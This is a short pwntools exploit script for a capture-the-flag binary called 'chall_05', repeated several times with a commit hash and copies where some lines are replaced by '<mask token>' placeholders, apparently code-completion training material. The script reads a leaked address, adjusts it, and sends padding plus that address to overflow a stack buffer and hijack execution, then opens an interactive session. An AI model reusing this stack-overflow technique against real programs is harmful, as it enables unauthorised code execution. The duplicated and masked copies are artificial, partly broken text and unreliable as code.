from pwn import *
import re
p=process("./chall_05")
p.recv()
p.sendline()
resp = p.recv()
leak = int(re.findall(b"([a-f0-9]{8,16})",resp)[0],16)
leak -= int(b"0x13",16)
p.sendline((0x40-0x8)*b"A"+p64(leak))
p.interactive()

50f60ea57b2108e135d12766f55681fb04226c02
<mask token>

<mask token>
p.recv()
p.sendline()
<mask token>
leak -= int(b'0x13', 16)
p.sendline((64 - 8) * b'A' + p64(leak))
p.interactive()

<mask token>
p = process('./chall_05')
p.recv()
p.sendline()
resp = p.recv()
leak = int(re.findall(b'([a-f0-9]{8,16})', resp)[0], 16)
leak -= int(b'0x13', 16)
p.sendline((64 - 8) * b'A' + p64(leak))
p.interactive()

from pwn import *
import re
p = process('./chall_05')
p.recv()
p.sendline()
resp = p.recv()
leak = int(re.findall(b'([a-f0-9]{8,16})', resp)[0], 16)
leak -= int(b'0x13', 16)
p.sendline((64 - 8) * b'A' + p64(leak))
p.interactive()

from pwn import *
import re
p=process("./chall_05")
p.recv()
p.sendline()
resp = p.recv()
leak = int(re.findall(b"([a-f0-9]{8,16})",resp)[0],16)
leak -= int(b"0x13",16)
p.sendline((0x40-0x8)*b"A"+p64(leak))
p.interactive()
